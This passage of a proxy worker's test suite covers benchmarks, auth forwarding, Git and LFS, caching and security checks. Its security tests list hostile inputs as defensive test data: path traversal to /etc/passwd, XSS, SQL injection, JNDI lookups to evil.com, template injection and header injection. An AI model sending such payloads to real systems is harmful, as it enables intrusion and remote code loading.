response.headers.get('Content-Security-Policy');\n      response.headers.get('Referrer-Policy');\n    });\n  });\n\n  describe('Error Handling Performance', () => {\n    bench('404 error handling', async () => {\n      await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt');\n    });\n\n    bench('400 error handling', async () => {\n      await SELF.fetch('https://example.com/invalid-platform/test');\n    });\n\n    bench('405 error handling', async () => {\n      await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'DELETE'\n      });\n    });\n  });\n\n  describe('Concurrent Request Handling', () => {\n    bench('10 concurrent requests', async () => {\n      const requests = Array(10)\n        .fill(null)\n        .map(() =>\n          SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n            method: 'HEAD'\n          })\n        );\n\n      await Promise.all(requests);\n    });\n\n    bench('50 concurrent requests', async () => {\n      const requests = Array(50)\n        .fill(null)\n        .map(() =>\n          SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n            method: 'HEAD'\n          })\n        );\n\n      await Promise.all(requests);\n    });\n  });\n\n  describe('Path Processing Performance', () => {\n    bench('Short path processing', async () => {\n      await SELF.fetch('https://example.com/gh/a/b', {\n        method: 'HEAD'\n      });\n    });\n\n    bench('Medium path processing', async () => {\n      await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', {\n        method: 'HEAD'\n      });\n    });\n\n    bench('Long path processing', async () => {\n      const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;\n      await SELF.fetch(`https://example.com${longPath}`, {\n        method: 'HEAD'\n      });\n    });\n  });\n\n  describe('URL Parsing Performance', () => {\n    bench('Simple URL parsing', async () => {\n      await SELF.fetch('https://example.com/gh/user/repo');\n    });\n\n    bench('URL with query parameters', async () => {\n      await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src');\n    });\n\n    bench('URL with fragments', async () => {\n      await SELF.fetch('https://example.com/gh/user/repo/README.md#section');\n    });\n\n    bench('Complex URL parsing', async () => {\n      await SELF.fetch(\n        'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'\n      );\n    });\n  });\n\n  describe('Memory Usage Patterns', () => {\n    bench('Request object creation', async () => {\n      const request = new Request('https://example.com/gh/test/repo/file.txt', {\n        method: 'GET',\n        headers: {\n          'User-Agent': 'Test/1.0',\n          Accept: '*/*'\n        }\n      });\n\n      // Process the request\n      await SELF.fetch(request);\n    });\n\n    bench('Response object processing', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      // Access various response properties\n      response.status;\n      response.statusText;\n      response.headers.get('Content-Type');\n      response.headers.get('X-Performance-Metrics');\n    });\n  });\n\n  describe('Platform-Specific Performance', () => {\n    bench('GitHub platform processing', async () => {\n      await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json');\n    });\n\n    bench('GitLab platform processing', async () => {\n      await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json');\n    });\n\n    bench('Hugging Face platform processing', async () => {\n      await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json');\n    });\n\n    bench('npm platform processing', async () => {\n      await SELF.fetch('https://example.com/npm/react');\n    });\n\n    bench('PyPI platform processing', async () => {\n      await SELF.fetch('https://example.com/pypi/simple/requests/');\n    });\n\n    bench('conda platform processing', async () => {\n      await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');\n    });\n  });\n});\n"
  },
  {
    "path": "test/features/auth.test.js",
    "content": "import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';\n\nimport worker from '../../src/index.js';\n\n/** @type {ExecutionContext} */\nconst executionContext = {\n  waitUntil() {},\n  passThroughOnException() {}\n};\n\ndescribe('Authentication Header Forwarding', () => {\n  /** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */\n  let cacheDefault;\n\n  beforeEach(() => {\n    cacheDefault = {\n      match: vi.fn(async () => null),\n      put: vi.fn(async () => undefined)\n    };\n\n    vi.stubGlobal('caches', { default: cacheDefault });\n  });\n\n  afterEach(() => {\n    vi.unstubAllGlobals();\n    vi.restoreAllMocks();\n  });\n\n  it('forwards Authorization for authenticated file requests and disables caching', async () => {\n    const authToken = 'Bearer ghp_test_token_12345';\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response(null, {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/test/private-repo/README.md', {\n        method: 'HEAD',\n        headers: {\n          Authorization: authToken\n        }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);\n    expect(cacheDefault.match).not.toHaveBeenCalled();\n    expect(cacheDefault.put).not.toHaveBeenCalled();\n    expect(response.headers.get('Cache-Control')).toBe('private, no-store');\n  });\n\n  it('forwards Authorization for Hugging Face API passthrough requests', async () => {\n    const authToken = 'Bearer hf_test_token_12345';\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('{}', {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/hf/api/models/test-private-model', {\n        method: 'GET',\n        headers: {\n          Authorization: authToken\n        }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);\n    expect(cacheDefault.match).not.toHaveBeenCalled();\n    expect(cacheDefault.put).not.toHaveBeenCalled();\n  });\n\n  it('forwards Authorization for authenticated PyPI index requests', async () => {\n    const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response(null, {\n        status: 200,\n        headers: { 'Content-Type': 'text/html; charset=utf-8' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/pypi/simple/private-package/', {\n        method: 'HEAD',\n        headers: {\n          Authorization: authToken\n        }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);\n    expect(cacheDefault.match).not.toHaveBeenCalled();\n    expect(cacheDefault.put).not.toHaveBeenCalled();\n    expect(response.headers.get('Cache-Control')).toBe('no-store');\n  });\n\n  it('forwards Authorization for gated Hugging Face model downloads', async () => {\n    const authToken = 'Bearer hf_authenticated_token';\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response(null, {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json', {\n        headers: {\n          Authorization: authToken\n        }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);\n    expect(cacheDefault.match).not.toHaveBeenCalled();\n    expect(cacheDefault.put).not.toHaveBeenCalled();\n    expect(response.headers.get('Cache-Control')).toBe('private, no-store');\n  });\n});\n"
  },
  {
    "path": "test/features/git-lfs.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Git LFS Protocol Integration', () => {\n  it('should handle LFS info/lfs requests', async () => {\n    const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/lfs';\n    const response = await SELF.fetch(testUrl, {\n      headers: {\n        'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)'\n      }\n    });\n\n    expect([200, 301, 302, 404]).toContain(response.status);\n  });\n\n  it('should handle LFS batch API requests', async () => {\n    const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/batch';\n    const response = await SELF.fetch(testUrl, {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/vnd.git-lfs+json',\n        Accept: 'application/vnd.git-lfs+json',\n        'User-Agent': 'git-lfs/3.0.0'\n      },\n      body: JSON.stringify({\n        operation: 'download',\n        objects: [\n          {\n            oid: 'a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd',\n            size: 1024\n          }\n        ]\n      })\n    });\n\n    expect([200, 301, 302, 400, 403, 404]).toContain(response.status);\n  });\n\n  it('should handle LFS object download requests', async () => {\n    const testUrl =\n      'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';\n    const response = await SELF.fetch(testUrl, {\n      headers: {\n        'User-Agent': 'git-lfs/3.0.0',\n        Accept: 'application/octet-stream'\n      }\n    });\n\n    expect([200, 301, 302, 403, 404]).toContain(response.status);\n  });\n\n  it('should preserve LFS-specific headers', async () => {\n    const testUrl = 'https://example.com/gh/test/repo.git/objects/batch';\n    const response = await SELF.fetch(testUrl, {\n      method: 'POST',\n      headers: {\n        'User-Agent': 'git-lfs/3.0.0',\n        Accept: 'application/vnd.git-lfs+json',\n        'Content-Type': 'application/vnd.git-lfs+json'\n      },\n      body: '{}'\n    });\n\n    // Should not reject LFS-specific headers\n    expect(response.status).not.toBe(400);\n  });\n\n  it('should skip caching for LFS requests', async () => {\n    const testUrl = 'https://example.com/gh/test/repo.git/info/lfs';\n\n    // First request\n    const response1 = await SELF.fetch(testUrl, {\n      headers: {\n        'User-Agent': 'git-lfs/3.0.0'\n      }\n    });\n\n    // Second request - should not be cached\n    const response2 = await SELF.fetch(testUrl, {\n      headers: {\n        'User-Agent': 'git-lfs/3.0.0'\n      }\n    });\n\n    // Both requests should go to origin (no cache hit)\n    const metrics1 = response1.headers.get('X-Performance-Metrics');\n    const metrics2 = response2.headers.get('X-Performance-Metrics');\n\n    // Verify that neither indicates a cache hit\n    if (metrics1 && metrics2) {\n      expect(metrics1).not.toContain('cache_hit');\n      expect(metrics2).not.toContain('cache_hit');\n    }\n  });\n});\n"
  },
  {
    "path": "test/features/git.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Git Protocol Integration', () => {\n  it('should handle Git info/refs requests', async () => {\n    const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';\n    const response = await SELF.fetch(testUrl, {\n      headers: {\n        'User-Agent': 'git/2.34.1'\n      }\n    });\n\n    expect([200, 301, 302, 404]).toContain(response.status);\n  });\n\n  it('should handle Git upload-pack requests', async () => {\n    const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack';\n    const response = await SELF.fetch(testUrl, {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/x-git-upload-pack-request',\n        'User-Agent': 'git/2.34.1'\n      },\n      body: '0000' // Minimal Git protocol data\n    });\n\n    expect([200, 301, 302, 400, 404]).toContain(response.status);\n  });\n\n  it('should preserve Git-specific headers', async () => {\n    const testUrl = 'https://example.com/gh/test/repo.git/info/refs';\n    const response = await SELF.fetch(testUrl, {\n      headers: {\n        'User-Agent': 'git/2.34.1',\n        'Git-Protocol': 'version=2'\n      }\n    });\n\n    // Should not reject Git-specific headers\n    expect(response.status).not.toBe(400);\n  });\n});\n"
  },
  {
    "path": "test/features/performance.test.js",
    "content": "import { beforeEach, describe, expect, it, vi } from 'vitest';\n\n// Mock PerformanceMonitor class for testing\nclass MockPerformanceMonitor {\n  constructor() {\n    this.startTime = Date.now();\n    this.marks = new Map();\n  }\n\n  /**\n   * Mark a performance measurement\n   * @param {string} name - Name of the mark\n   */\n  mark(name) {\n    if (this.marks.has(name)) {\n      console.warn(`Mark with name ${name} already exists.`);\n    }\n    this.marks.set(name, Date.now() - this.startTime);\n  }\n\n  getMetrics() {\n    return Object.fromEntries(this.marks.entries());\n  }\n}\n\ndescribe('Performance Monitoring', () => {\n  /** @type {MockPerformanceMonitor} */\n  let monitor;\n\n  beforeEach(() => {\n    monitor = new MockPerformanceMonitor();\n  });\n\n  describe('PerformanceMonitor Class', () => {\n    it('should initialize with start time', () => {\n      expect(monitor.startTime).toBeDefined();\n      expect(typeof monitor.startTime).toBe('number');\n    });\n\n    it('should create timing marks', () => {\n      monitor.mark('test-mark');\n\n      const metrics = monitor.getMetrics();\n      expect(metrics).toHaveProperty('test-mark');\n      expect(typeof metrics['test-mark']).toBe('number');\n    });\n\n    it('should handle multiple marks', () => {\n      monitor.mark('mark1');\n      monitor.mark('mark2');\n      monitor.mark('mark3');\n\n      const metrics = monitor.getMetrics();\n      expect(Object.keys(metrics)).toHaveLength(3);\n      expect(metrics).toHaveProperty('mark1');\n      expect(metrics).toHaveProperty('mark2');\n      expect(metrics).toHaveProperty('mark3');\n    });\n\n    it('should warn on duplicate mark names', () => {\n      // Mock console.warn for this test\n      const originalWarn = console.warn;\n      const mockWarn = vi.fn();\n      console.warn = mockWarn;\n\n      monitor.mark('duplicate');\n      monitor.mark('duplicate');\n\n      expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');\n\n      // Restore original console.warn\n      console.warn = originalWarn;\n    });\n\n    it('should return metrics as plain object', () => {\n      monitor.mark('test');\n\n      const metrics = monitor.getMetrics();\n      expect(metrics).toBeTypeOf('object');\n      expect(Array.isArray(metrics)).toBe(false);\n    });\n\n    it('should track elapsed time correctly', async () => {\n      monitor.mark('start');\n\n      // Wait a small amount of time\n      await new Promise(resolve => setTimeout(resolve, 10));\n\n      monitor.mark('end');\n\n      const metrics = monitor.getMetrics();\n      expect(metrics.end).toBeGreaterThan(metrics.start);\n    });\n  });\n\n  describe('Performance Metrics Validation', () => {\n    it('should produce serializable metrics', () => {\n      monitor.mark('request-start');\n      monitor.mark('proxy-start');\n      monitor.mark('proxy-end');\n      monitor.mark('request-end');\n\n      const metrics = monitor.getMetrics();\n\n      expect(() => JSON.stringify(metrics)).not.toThrow();\n    });\n\n    it('should have reasonable timing values', () => {\n      monitor.mark('test-mark');\n\n      const metrics = monitor.getMetrics();\n      const timing = metrics['test-mark'];\n\n      // Should be a positive number and reasonable (less than 1 second for this test)\n      expect(timing).toBeGreaterThanOrEqual(0);\n      expect(timing).toBeLessThan(1000);\n    });\n\n    it('should maintain chronological order', async () => {\n      monitor.mark('first');\n      await new Promise(resolve => setTimeout(resolve, 5));\n      monitor.mark('second');\n      await new Promise(resolve => setTimeout(resolve, 5));\n      monitor.mark('third');\n\n      const metrics = monitor.getMetrics();\n\n      expect(metrics.first).toBeLessThan(metrics.second);\n      expect(metrics.second).toBeLessThan(metrics.third);\n    });\n  });\n\n  describe('Common Performance Scenarios', () => {\n    it('should track request lifecycle', () => {\n      // Simulate typical request flow\n      monitor.mark('request-received');\n      monitor.mark('validation-complete');\n      monitor.mark('proxy-start');\n      monitor.mark('proxy-response');\n      monitor.mark('response-sent');\n\n      const metrics = monitor.getMetrics();\n\n      expect(metrics).toHaveProperty('request-received');\n      expect(metrics).toHaveProperty('validation-complete');\n      expect(metrics).toHaveProperty('proxy-start');\n      expect(metrics).toHaveProperty('proxy-response');\n      expect(metrics).toHaveProperty('response-sent');\n    });\n\n    it('should track cache operations', () => {\n      monitor.mark('cache-check-start');\n      monitor.mark('cache-miss');\n      monitor.mark('upstream-request');\n      monitor.mark('cache-store');\n\n      const metrics = monitor.getMetrics();\n\n      expect(metrics).toHaveProperty('cache-check-start');\n      expect(metrics).toHaveProperty('cache-miss');\n      expect(metrics).toHaveProperty('upstream-request');\n      expect(metrics).toHaveProperty('cache-store');\n    });\n\n    it('should track error scenarios', () => {\n      monitor.mark('request-start');\n      monitor.mark('error-occurred');\n      monitor.mark('error-handled');\n\n      const metrics = monitor.getMetrics();\n\n      expect(metrics).toHaveProperty('request-start');\n      expect(metrics).toHaveProperty('error-occurred');\n      expect(metrics).toHaveProperty('error-handled');\n    });\n  });\n\n  describe('Performance Thresholds', () => {\n    it('should identify slow operations', () => {\n      monitor.mark('operation-start');\n\n      // Simulate slow operation\n      const slowTiming = 5000; // 5 seconds\n      monitor.marks.set('operation-end', slowTiming);\n\n      const metrics = monitor.getMetrics();\n      const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);\n\n      // Should identify as slow (> 1 second)\n      expect(operationTime).toBeGreaterThan(1000);\n    });\n\n    it('should identify fast operations', () => {\n      monitor.mark('fast-operation');\n\n      const metrics = monitor.getMetrics();\n      const timing = metrics['fast-operation'];\n\n      // Should be fast (< 100ms for this test)\n      expect(timing).toBeLessThan(100);\n    });\n  });\n\n  describe('Memory and Resource Usage', () => {\n    it('should not leak memory with many marks', () => {\n      const initialSize = monitor.marks.size;\n\n      // Add many marks\n      for (let i = 0; i < 1000; i++) {\n        monitor.mark(`mark-${i}`);\n      }\n\n      expect(monitor.marks.size).toBe(initialSize + 1000);\n\n      // Clear marks (if such method existed)\n      monitor.marks.clear();\n      expect(monitor.marks.size).toBe(0);\n    });\n\n    it('should handle concurrent mark operations', () => {\n      const promises = [];\n\n      for (let i = 0; i < 10; i++) {\n        promises.push(\n          new Promise((/** @type {(value?: unknown) => void} */ resolve) => {\n            setTimeout(() => {\n              monitor.mark(`concurrent-${i}`);\n              resolve();\n            }, Math.random() * 10);\n          })\n        );\n      }\n\n      return Promise.all(promises).then(() => {\n        const metrics = monitor.getMetrics();\n        expect(Object.keys(metrics)).toHaveLength(10);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "test/features/range-cache.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\n/**\n * Tests for Range Request Caching Strategy\n *\n * This test suite validates the new caching strategy that:\n * 1. Only caches 200 responses (not 206)\n * 2. Handles Range requests by caching full content first\n * 3. Lets Cloudflare edge serve 206 responses from cached 200 content\n * 4. Avoids compression for media files to ensure proper Range support\n */\n\ndescribe('Range Request Caching Strategy', () => {\n  describe('Cache Behavior for Range Requests', () => {\n    it('should not attempt to cache 206 responses', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/sample.pdf';\n\n      // Make a range request that might return 206\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=0-1023'\n        }\n      });\n\n      // The response should either be 200 (full content) or 206 (partial)\n      // But we should never get a cache error from trying to cache 206\n      expect([200, 206, 404]).toContain(response.status);\n\n      // Check performance metrics for any cache-related errors\n      const metrics = response.headers.get('X-Performance-Metrics');\n      if (metrics) {\n        const parsedMetrics = JSON.parse(metrics);\n\n        // Should not contain any cache put errors\n        const errorKeys = Object.keys(parsedMetrics).filter(\n          key => (key.includes('error') || key.includes('fail')) && key !== 'client_error'\n        );\n        expect(errorKeys).toHaveLength(0);\n      }\n    });\n\n    it('should cache full content when receiving 200 response', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/document.pdf';\n\n      // First request - should cache the full content\n      const firstResponse = await SELF.fetch(testUrl);\n\n      if (firstResponse.status === 200) {\n        // Verify caching headers are set correctly\n        expect(firstResponse.headers.get('Cache-Control')).toContain('public');\n        expect(firstResponse.headers.get('Accept-Ranges')).toBe('bytes');\n\n        // Second request should hit cache\n        const secondResponse = await SELF.fetch(testUrl);\n        expect(secondResponse.status).toBe(200);\n\n        // Performance metrics should show cache hit\n        const metrics = secondResponse.headers.get('X-Performance-Metrics');\n        if (metrics) {\n          const parsedMetrics = JSON.parse(metrics);\n          expect(parsedMetrics).toHaveProperty('cache_hit');\n        }\n      }\n    });\n\n    it('should handle range requests after caching full content', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/large-file.bin';\n\n      // First, cache the full content\n      const fullResponse = await SELF.fetch(testUrl);\n\n      if (fullResponse.status === 200) {\n        // Now make a range request - should leverage cached content\n        const rangeResponse = await SELF.fetch(testUrl, {\n          headers: {\n            Range: 'bytes=100-199'\n          }\n        });\n\n        // Should either return the requested range or full content\n        expect([200, 206]).toContain(rangeResponse.status);\n\n        if (rangeResponse.status === 206) {\n          expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();\n          expect(rangeResponse.headers.get('Content-Length')).toBe('100');\n        }\n      }\n    });\n  });\n\n  describe('Media File Handling', () => {\n    it('should avoid compression for media files', async () => {\n      const mediaTestCases = [\n        { url: 'https://example.com/gh/test/repo/video.mp4', type: 'video' },\n        { url: 'https://example.com/gh/test/repo/audio.mp3', type: 'audio' },\n        { url: 'https://example.com/gh/test/repo/image.png', type: 'image' },\n        { url: 'https://example.com/gh/test/repo/archive.zip', type: 'archive' }\n      ];\n\n      for (const testCase of mediaTestCases) {\n        const response = await SELF.fetch(testCase.url, { method: 'HEAD' });\n\n        if (response.status === 200) {\n          // Media files should have proper range support headers\n          expect(response.headers.get('Accept-Ranges')).toBe('bytes');\n\n          // Should not be compressed to ensure proper byte-range handling\n          const contentEncoding = response.headers.get('Content-Encoding');\n          if (contentEncoding) {\n            expect(['identity', null]).toContain(contentEncoding);\n          }\n        }\n      }\n    });\n\n    it('should send identity encoding for range requests on media files', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/large-video.mp4';\n\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=0-1023'\n        }\n      });\n\n      // For media files with range requests, should not use compression\n      if ([200, 206].includes(response.status)) {\n        const contentEncoding = response.headers.get('Content-Encoding');\n        if (contentEncoding) {\n          expect(['identity', null]).toContain(contentEncoding);\n        }\n      }\n    });\n  });\n\n  describe('Cache Key Management', () => {\n    it('should use correct cache keys for range vs full requests', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/test-document.pdf';\n\n      // Make a range request first\n      const rangeResponse1 = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=0-512'\n        }\n      });\n\n      // Make a full request\n      const fullResponse = await SELF.fetch(testUrl);\n\n      // Make another range request\n      const rangeResponse2 = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=512-1023'\n        }\n      });\n\n      // All requests should succeed\n      [rangeResponse1, fullResponse, rangeResponse2].forEach(response => {\n        expect([200, 206, 404]).toContain(response.status);\n      });\n\n      // Full response should have caching headers\n      if (fullResponse.status === 200) {\n        expect(fullResponse.headers.get('Cache-Control')).toContain('public');\n        expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');\n      }\n    });\n\n    it('should handle Content-Length header properly', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/sized-file.bin';\n\n      const response = await SELF.fetch(testUrl);\n\n      if (response.status === 200) {\n        // Should have Content-Length for proper range support\n        const contentLength = response.headers.get('Content-Length');\n        if (contentLength) {\n          expect(parseInt(contentLength, 10)).toBeGreaterThan(0);\n        }\n\n        // Should have Accept-Ranges header\n        expect(response.headers.get('Accept-Ranges')).toBe('bytes');\n      }\n    });\n  });\n\n  describe('Performance Metrics', () => {\n    it('should track cache performance for range requests', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/metrics-test.dat';\n\n      // First request\n      const response1 = await SELF.fetch(testUrl);\n      const metrics1 = response1.headers.get('X-Performance-Metrics');\n\n      if (response1.status === 200 && metrics1) {\n        const parsed1 = JSON.parse(metrics1);\n        expect(parsed1).toHaveProperty('start');\n        expect(parsed1).toHaveProperty('complete');\n      }\n\n      // Second request (should hit cache)\n      const response2 = await SELF.fetch(testUrl);\n      const metrics2 = response2.headers.get('X-Performance-Metrics');\n\n      if (response2.status === 200 && metrics2) {\n        const parsed2 = JSON.parse(metrics2);\n        expect(parsed2).toHaveProperty('cache_hit');\n      }\n    });\n\n    it('should track range-specific cache behavior', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/range-metrics.bin';\n\n      // Cache full content first\n      await SELF.fetch(testUrl);\n\n      // Now make a range request\n      const rangeResponse = await SELF.fetch(testUrl, {\n        headers: {\n          Range: 'bytes=0-1023'\n        }\n      });\n\n      const metrics = rangeResponse.headers.get('X-Performance-Metrics');\n      if (metrics && [200, 206].includes(rangeResponse.status)) {\n        const parsed = JSON.parse(metrics);\n\n        // Should have timing information\n        expect(parsed).toHaveProperty('start');\n\n        // May have cache-related metrics\n        const cacheKeys = Object.keys(parsed).filter(key => key.includes('cache'));\n        // At least one cache-related metric should be present\n        expect(cacheKeys.length).toBeGreaterThanOrEqual(0);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "test/features/security.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Security Features', () => {\n  describe('Security Headers', () => {\n    it('should include Strict-Transport-Security header', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      const hsts = response.headers.get('Strict-Transport-Security');\n      expect(hsts).toBeTruthy();\n      expect(hsts).toContain('max-age=');\n      expect(hsts).toContain('includeSubDomains');\n      expect(hsts).toContain('preload');\n    });\n\n    it('should include X-Frame-Options header', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      expect(response.headers.get('X-Frame-Options')).toBe('DENY');\n    });\n\n    it('should include X-XSS-Protection header', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');\n    });\n\n    it('should include Content-Security-Policy header', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      const csp = response.headers.get('Content-Security-Policy');\n      expect(csp).toBeTruthy();\n      expect(csp).toContain(\"default-src 'none'\");\n    });\n\n    it('should include Referrer-Policy header', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');\n    });\n\n    it('should include Permissions-Policy header', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');\n\n      const permissionsPolicy = response.headers.get('Permissions-Policy');\n      expect(permissionsPolicy).toBeTruthy();\n      expect(permissionsPolicy).toContain('interest-cohort=()');\n    });\n  });\n\n  describe('HTTP Method Restrictions', () => {\n    it('should reject PATCH method', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo', {\n        method: 'PATCH'\n      });\n\n      expect(response.status).toBe(405);\n    });\n\n    it('should reject PUT method for non-Git requests', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'PUT'\n      });\n\n      expect(response.status).toBe(405);\n    });\n\n    it('should reject DELETE method', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo', {\n        method: 'DELETE'\n      });\n\n      expect(response.status).toBe(405);\n    });\n\n    it('should reject OPTIONS method', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo', {\n        method: 'OPTIONS'\n      });\n\n      expect(response.status).toBe(405);\n    });\n  });\n\n  describe('Path Validation', () => {\n    it('should reject paths with directory traversal attempts', async () => {\n      const maliciousPaths = [\n        '/gh/../../../etc/passwd',\n        '/gh/user/repo/../../../sensitive',\n        '/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',\n        '/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'\n      ];\n\n      for (const path of maliciousPaths) {\n        const response = await SELF.fetch(`https://example.com${path}`, {\n          method: 'HEAD',\n          redirect: 'manual' // Don't follow redirects\n        });\n        // Some runtimes normalize plain `..` segments before the Worker sees them.\n        // Encoded traversal should still be rejected.\n        if (/%[0-9a-fA-F]{2}/.test(path)) {\n          expect(response.status).toBe(400);\n        } else {\n          expect(response.status).not.toBe(500);\n        }\n      }\n    }, 45000);\n\n    it('should reject extremely long paths', async () => {\n      const longPath = `/gh/${'a'.repeat(3000)}`;\n      const response = await SELF.fetch(`https://example.com${longPath}`);\n\n      expect(response.status).toBe(414);\n    });\n\n    it('should handle URL encoding safely', async () => {\n      const encodedPaths = [\n        '/gh/user/repo%20with%20spaces',\n        '/gh/user/repo%2Ffile.txt',\n        '/gh/user%40domain/repo'\n      ];\n\n      for (const path of encodedPaths) {\n        const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });\n        // Should handle encoded paths without security issues\n        expect(response.status).not.toBe(500);\n      }\n    }, 30000);\n  });\n\n  describe('Input Sanitization', () => {\n    it('should handle special characters in paths', async () => {\n      const specialPaths = [\n        '/gh/user/repo<script>alert(1)</script>',\n        \"/gh/user/repo'; DROP TABLE users; --\",\n        '/gh/user/repo${jndi:ldap://evil.com}',\n        '/gh/user/repo{{7*7}}'\n      ];\n\n      for (const path of specialPaths) {\n        const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });\n        // Should safely handle special characters\n        expect(response.status).not.toBe(500);\n      }\n    }, 30000);\n\n    it('should handle Unicode characters safely', async () => {\n      const unicodePaths = [\n        '/gh/所有者/存储库/文件.txt',\n        '/gh/user/repo/файл.txt',\n        '/gh/user/repo/ファイル.txt'\n      ];\n\n      for (const path of unicodePaths) {\n        const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });\n        // Should handle Unicode without issues\n        expect(response.status).not.toBe(500);\n      }\n    }, 20000);\n  });\n\n  describe('Request Header Validation', () => {\n    it('should handle malicious User-Agent headers', async () => {\n      const maliciousUserAgents = [\n        '<script>alert(1)</script>',\n        'Mozilla/5.0 ${jndi:ldap://evil.com}'\n      ];\n\n      for (const userAgent of maliciousUserAgents) {\n        const response = await SELF.fetch('https://example.com/gh/test/repo', {\n          method: 'HEAD',\n          headers: {\n            'User-Agent': userAgent\n          }\n        });\n\n        // Should handle malicious user agents safely\n        expect(response.status).not.toBe(500);\n      }\n    }, 20000);\n\n    it('should handle header injection attempts', async () => {\n      // Malformed headers should be rejected before the request is dispatched.\n      expect(() => {\n        new Request('https://example.com/gh/test/repo', {\n          headers: {\n            'X-Test': 'value\\r\\nX-Injected: malicious'\n          }\n        });\n      }).toThrow(/[Ii]nvalid|[Hh]eader/);\n    